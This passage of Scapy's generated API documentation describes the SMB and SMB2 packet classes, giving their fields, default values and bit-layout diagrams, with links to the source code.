       Fig. SMBSession_Setup_AndX_Request_Extended_Security       


SMBSession_Setup_AndX_Request_Extended_Security fields






	WordCount

	ByteField

	12



	AndXCommand

	ByteEnumField

	255



	AndXReserved

	ByteField

	0



	AndXOffset

	LEShortField

	None



	MaxBufferSize

	LEShortField

	16144



	MaxMPXCount

	LEShortField

	50



	VCNumber

	LEShortField

	0



	SessionKey

	LEIntField

	0



	SecurityBlobLength

	LEFieldLenField

	None



	Reserved

	LEIntField

	0



	ServerCapabilities

	FlagsField

	<Flag 5 (RAW_MODE+UNICODE)>



	ByteCount

	LEShortField

	None



	SecurityBlob

	PacketLenField

	None



	NativeOS

	ReversePadField

	None



	NativeLanMan

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'Windows 4.0'











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L581-L584]

	








	
class scapy.layers.smb.SMBSession_Setup_AndX_Response(_pkt, /, *, WordCount=3, AndXCommand=255, AndXReserved=0, AndXOffset=None, Action=<Flag 0 ()>, ByteCount=25, NativeOS=None, NativeLanMan=None, PrimaryDomain=None, WordCount2=3, AndXCommand2=255, Reserved3=0, AndXOffset2=80, OptionalSupport=1, ByteCount2=5, Service=b'IPC', NativeFileSystem=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L600-L634]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |  ANDXCOMMAND  |  ANDXRESERVED |   ANDXOFFSET  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             ACTION            |   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            NATIVEOS           |  NATIVELANMAN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         PRIMARYDOMAIN         |   WORDCOUNT2  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ANDXCOMMAND2 |   RESERVED3   |          ANDXOFFSET2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        OPTIONALSUPPORT        |           BYTECOUNT2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SERVICE            |        NATIVEFILESYSTEM       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SMBSession_Setup_AndX_Response                


SMBSession_Setup_AndX_Response fields






	WordCount

	ByteField

	3



	AndXCommand

	ByteEnumField

	255



	AndXReserved

	ByteField

	0



	AndXOffset

	LEShortField

	None



	Action

	FlagsField

	<Flag 0 ()>



	ByteCount

	LEShortField

	25



	NativeOS

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'Windows 4.0'



	NativeLanMan

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'Windows 4.0'



	PrimaryDomain

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b''



	WordCount2

	ByteField

	3



	AndXCommand2

	ByteEnumField

	255



	Reserved3

	ByteField

	0



	AndXOffset2

	LEShortField

	80



	OptionalSupport

	LEShortField

	1



	ByteCount2

	LEShortField

	5



	Service

	StrNullField

	b'IPC'



	NativeFileSystem

	StrNullField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L631-L634]

	








	
class scapy.layers.smb.SMBSession_Setup_AndX_Response_Extended_Security(_pkt, /, *, WordCount=4, AndXCommand=255, AndXReserved=0, AndXOffset=None, Action=<Flag 0 ()>, SecurityBlobLength=None, ByteCount=None, SecurityBlob=None, NativeOS=None, NativeLanMan=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L642-L658]

	Bases: SMBSession_Setup_AndX_Response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |  ANDXCOMMAND  |  ANDXRESERVED |   ANDXOFFSET  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             ACTION            |SECURITYBLOBLEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           BYTECOUNT           |  SECURITYBLOB |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            NATIVEOS           |  NATIVELANMAN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

      Fig. SMBSession_Setup_AndX_Response_Extended_Security       


SMBSession_Setup_AndX_Response_Extended_Security fields






	WordCount

	ByteField

	4



	AndXCommand

	ByteEnumField

	255



	AndXReserved

	ByteField

	0



	AndXOffset

	LEShortField

	None



	Action

	FlagsField

	<Flag 0 ()>



	SecurityBlobLength

	LEFieldLenField

	None



	ByteCount

	LEShortField

	None



	SecurityBlob

	PacketLenField

	None



	NativeOS

	ReversePadField

	None



	NativeLanMan

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'Windows 4.0'











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L653-L658]

	








	
class scapy.layers.smb.SMBTransaction_Request(_pkt, /, *, WordCount=None, TotalParamCount=None, TotalDataCount=None, MaxParamCount=0, MaxDataCount=0, MaxSetupCount=0, Reserved1=0, Flags=<Flag 0 ()>, Timeout=1000, Reserved2=0, ParameterLen=None, ParameterBufferOffset=None, DataLen=None, DataBufferOffset=None, SetupCount=3, Reserved3=0, Setup=[1, 1, 2], ByteCount=None, Name=b'\\MAILSLOT\\NET\\NETLOGON', Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L702-L789]

	Bases: _NTLMPayloadPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |        TOTALPARAMCOUNT        | TOTALDATACOUNT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         MAXPARAMCOUNT         |  MAXDATACOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | MAXSETUPCOUNT |   RESERVED1   |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    TIMEOUT                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           RESERVED2           |  PARAMETERLEN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     PARAMETERBUFFEROFFSET     |    DATALEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        DATABUFFEROFFSET       |   SETUPCOUNT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED3   |             SETUP             |   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              NAME             |     BUFFER    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. SMBTransaction_Request                    


SMBTransaction_Request fields






	WordCount

	FieldLenField

	None



	TotalParamCount

	FieldLenField

	None



	TotalDataCount

	FieldLenField

	None



	MaxParamCount

	LEShortField

	0



	MaxDataCount

	LEShortField

	0



	MaxSetupCount

	ByteField

	0



	Reserved1

	ByteField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	Timeout

	LEIntField

	1000



	Reserved2

	ShortField

	0



	ParameterLen

	LEShortField

	None



	ParameterBufferOffset

	LEShortField

	None



	DataLen

	LEShortField

	None



	DataBufferOffset

	LEShortField

	None



	SetupCount

	FieldLenField

	3



	Reserved3

	ByteField

	0



	Setup

	FieldListField

	[1, 1, 2]



	ByteCount

	FieldLenField

	None



	Name

	StrNullField

	b'\\MAILSLOT\\NET\\NETLOGON'



	Buffer

	_NTLMPayloadField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L786-L789]

	




	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L770-L784]

	








	
class scapy.layers.smb.SMBTransaction_Response(_pkt, /, *, WordCount=None, TotalParamCount=None, TotalDataCount=None, Reserved1=None, ParameterLen=None, ParameterBufferOffset=None, ParameterDisplacement=0, DataLen=None, DataBufferOffset=None, DataDisplacement=0, SetupCount=3, Reserved2=0, Setup=[1, 1, 2], ByteCount=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L802-L876]

	Bases: _NTLMPayloadPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |        TOTALPARAMCOUNT        | TOTALDATACOUNT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           RESERVED1           |  PARAMETERLEN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     PARAMETERBUFFEROFFSET     |PARAMETERDISPLA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            DATALEN            |DATABUFFEROFFSE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        DATADISPLACEMENT       |   SETUPCOUNT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED2   |             SETUP             |   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SMBTransaction_Response                   


SMBTransaction_Response fields






	WordCount

	FieldLenField

	None



	TotalParamCount

	FieldLenField

	None



	TotalDataCount

	FieldLenField

	None



	Reserved1

	LEShortField

	None



	ParameterLen

	LEShortField

	None



	ParameterBufferOffset

	LEShortField

	None



	ParameterDisplacement

	LEShortField

	0



	DataLen

	LEShortField

	None



	DataBufferOffset

	LEShortField

	None



	DataDisplacement

	LEShortField

	0



	SetupCount

	FieldLenField

	3



	Reserved2

	ByteField

	0



	Setup

	FieldListField

	[1, 1, 2]



	ByteCount

	FieldLenField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L862-L876]

	








	
class scapy.layers.smb.SMBTree_Connect_AndX(_pkt, /, *, WordCount=4, AndXCommand=255, AndXReserved=0, AndXOffset=None, Flags=<Flag 0 ()>, PasswordLength=None, ByteCount=None, Password=b'', Path=None, Service=b'?????')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L525-L546]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |  ANDXCOMMAND  |  ANDXRESERVED |   ANDXOFFSET  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             FLAGS             | PASSWORDLENGTH|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           BYTECOUNT           |    PASSWORD   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              PATH             |    SERVICE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. SMBTree_Connect_AndX                     


SMBTree_Connect_AndX fields






	WordCount

	ByteField

	4



	AndXCommand

	ByteEnumField

	255



	AndXReserved

	ByteField

	0



	AndXOffset

	LEShortField

	None



	Flags

	FlagsField

	<Flag 0 ()>



	PasswordLength

	FieldLenField

	None



	ByteCount

	LEShortField

	None



	Password

	XStrLenField

	b''



	Path

	ReversePadField

	None



	Service

	StrNullField

	b'?????'











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L542-L546]

	








	
class scapy.layers.smb.SMB_Dialect(_pkt, /, *, BufferFormat=2, DialectString=b'NT LM 0.12')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L256-L264]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L263-L264]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  BUFFERFORMAT |         DIALECTSTRING         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SMB_Dialect                         


SMB_Dialect fields






	BufferFormat

	ByteField

	2



	DialectString

	StrNullField

	b'NT LM 0.12'















	
class scapy.layers.smb.SMB_Header(_pkt, /, *, Start=b'\xffSMB', Command=114, Status=0, Flags=<Flag 24 (CASE_INSENSITIVE+CANONICALIZED_PATHS)>, Flags2=<Flag 0 ()>, PIDHigh=0, SecuritySignature=b'', Reserved=0, TID=0, PIDLow=0, UID=0, MID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L149-L250]

	Bases: Packet


	
aliastypes

	




	
answers(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L249-L250]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             START                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    COMMAND    |                     STATUS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     FLAGS     |             FLAGS2            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PIDHIGH            |       SECURITYSIGNATURE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TID              |             PIDLOW            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              UID              |              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SMB_Header                          


SMB_Header fields






	Start

	StrFixedLenField

	b'\xffSMB'



	Command

	ByteEnumField

	114



	Status

	LEIntEnumField

	0



	Flags

	FlagsField

	<Flag 24 (CASE_INSENSITIVE+CANONICALIZED_PATHS)>



	Flags2

	FlagsField

	<Flag 0 ()>



	PIDHigh

	LEShortField

	0



	SecuritySignature

	StrFixedLenField

	b''



	Reserved

	LEShortField

	0



	TID

	LEShortField

	0



	PIDLow

	LEShortField

	0



	UID

	LEShortField

	0



	MID

	LEShortField

	0











	
guess_payload_class(payload: bytes) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L202-L247]

	




	
payload_guess

	Possible sublayers:
SMBNegotiate_Request, SMBTree_Connect_AndX












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.smb2

SMB (Server Message Block), also known as CIFS - version 2


Note

You will find more complete documentation for this layer over at
SMB [https://scapy.readthedocs.io/en/latest/layers/smb.html]




	
class scapy.layers.smb2.DFS_REFERRAL(_pkt, /, *, Version=1, Size=None, ServerType=0, ReferralEntryFlags=0, ShareName=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3822-L3846]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3845-L3846]

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3833-L3843]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |              SIZE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SERVERTYPE          |       REFERRALENTRYFLAGS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SHARENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DFS_REFERRAL                         


DFS_REFERRAL fields






	Version

	LEShortField

	1



	Size

	FieldLenField

	None



	ServerType

	LEShortEnumField

	0



	ReferralEntryFlags

	LEShortField

	0



	ShareName

	StrNullFieldUtf16

	b''















	
class scapy.layers.smb2.DFS_REFERRAL_ENTRY0(_pkt, /, *, DFSPath=b'', DFSAlternatePath=b'', NetworkAddress=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3911-L3916]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DFSPATH            |        DFSALTERNATEPATH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         NETWORKADDRESS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DFS_REFERRAL_ENTRY0                     


DFS_REFERRAL_ENTRY0 fields






	DFSPath

	StrNullFieldUtf16

	b''



	DFSAlternatePath

	StrNullFieldUtf16

	b''



	NetworkAddress

	StrNullFieldUtf16

	b''















	
class scapy.layers.smb2.DFS_REFERRAL_ENTRY1(_pkt, /, *, SpecialName=b'', ExpandedName=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3919-L3927]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SPECIALNAME          |          EXPANDEDNAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DFS_REFERRAL_ENTRY1                     


DFS_REFERRAL_ENTRY1 fields






	SpecialName

	StrNullFieldUtf16

	b''



	ExpandedName

	FieldListField

	[]















	
class scapy.layers.smb2.DFS_REFERRAL_V3(_pkt, /, *, Version=3, Size=None, ServerType=0, ReferralEntryFlags=<Flag 0 ()>, TimeToLive=300, DFSPathOffset=None, DFSAlternatePathOffset=None, NetworkAddressOffset=None, ServiceSiteGuid=0, SpecialNameOffset=None, NumberOfExpandedNames=None, ExpandedNameOffset=None, Padding=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3849-L3904]

	Bases: DFS_REFERRAL


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |              SIZE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SERVERTYPE          |       REFERRALENTRYFLAGS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMETOLIVE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DFSPATHOFFSET         |     DFSALTERNATEPATHOFFSET    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      NETWORKADDRESSOFFSET     |        SERVICESITEGUID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       SPECIALNAMEOFFSET       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NUMBEROFEXPANDEDNAMES     |       EXPANDEDNAMEOFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DFS_REFERRAL_V3                       


DFS_REFERRAL_V3 fields






	Version

	LEShortField

	3



	Size

	LEShortField

	None



	ServerType

	LEShortEnumField

	0



	ReferralEntryFlags

	FlagsField

	<Flag 0 ()>



	TimeToLive

	LEIntField

	300



	DFSPathOffset

	LEShortField (Cond)

	None



	DFSAlternatePathOffset

	LEShortField (Cond)

	None



	NetworkAddressOffset

	LEShortField (Cond)

	None



	ServiceSiteGuid

	StrFixedLenField (Cond)

	0



	SpecialNameOffset

	LEShortField (Cond)

	None



	NumberOfExpandedNames

	LEShortField (Cond)

	None



	ExpandedNameOffset

	LEShortField (Cond)

	None



	Padding

	StrLenField (Cond)

	None











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3900-L3904]

	








	
class scapy.layers.smb2.DFS_REFERRAL_V4(_pkt, /, *, Version=4, Size=None, ServerType=0, ReferralEntryFlags=<Flag 0 ()>, TimeToLive=300, DFSPathOffset=None, DFSAlternatePathOffset=None, NetworkAddressOffset=None, ServiceSiteGuid=0, SpecialNameOffset=None, NumberOfExpandedNames=None, ExpandedNameOffset=None, Padding=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3907-L3908]

	Bases: DFS_REFERRAL_V3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |              SIZE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SERVERTYPE          |       REFERRALENTRYFLAGS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMETOLIVE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DFSPATHOFFSET         |     DFSALTERNATEPATHOFFSET    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      NETWORKADDRESSOFFSET     |        SERVICESITEGUID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       SPECIALNAMEOFFSET       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NUMBEROFEXPANDEDNAMES     |       EXPANDEDNAMEOFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DFS_REFERRAL_V4                       


DFS_REFERRAL_V4 fields






	Version

	LEShortField

	4



	Size

	LEShortField

	None



	ServerType

	LEShortEnumField

	0



	ReferralEntryFlags

	FlagsField

	<Flag 0 ()>



	TimeToLive

	LEIntField

	300



	DFSPathOffset

	LEShortField (Cond)

	None



	DFSAlternatePathOffset

	LEShortField (Cond)

	None



	NetworkAddressOffset

	LEShortField (Cond)

	None



	ServiceSiteGuid

	StrFixedLenField (Cond)

	0



	SpecialNameOffset

	LEShortField (Cond)

	None



	NumberOfExpandedNames

	LEShortField (Cond)

	None



	ExpandedNameOffset

	LEShortField (Cond)

	None



	Padding

	StrLenField (Cond)

	None















	
class scapy.layers.smb2.DirectTCP(_pkt, /, *, zero=0, LENGTH=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1385-L1388]

	Bases: NBTSession


	
MAXLENGTH = 16777215

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ZERO     |                     LENGTH                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. DirectTCP                          


DirectTCP fields






	zero

	ByteField

	0



	LENGTH

	ThreeBytesField

	None















	
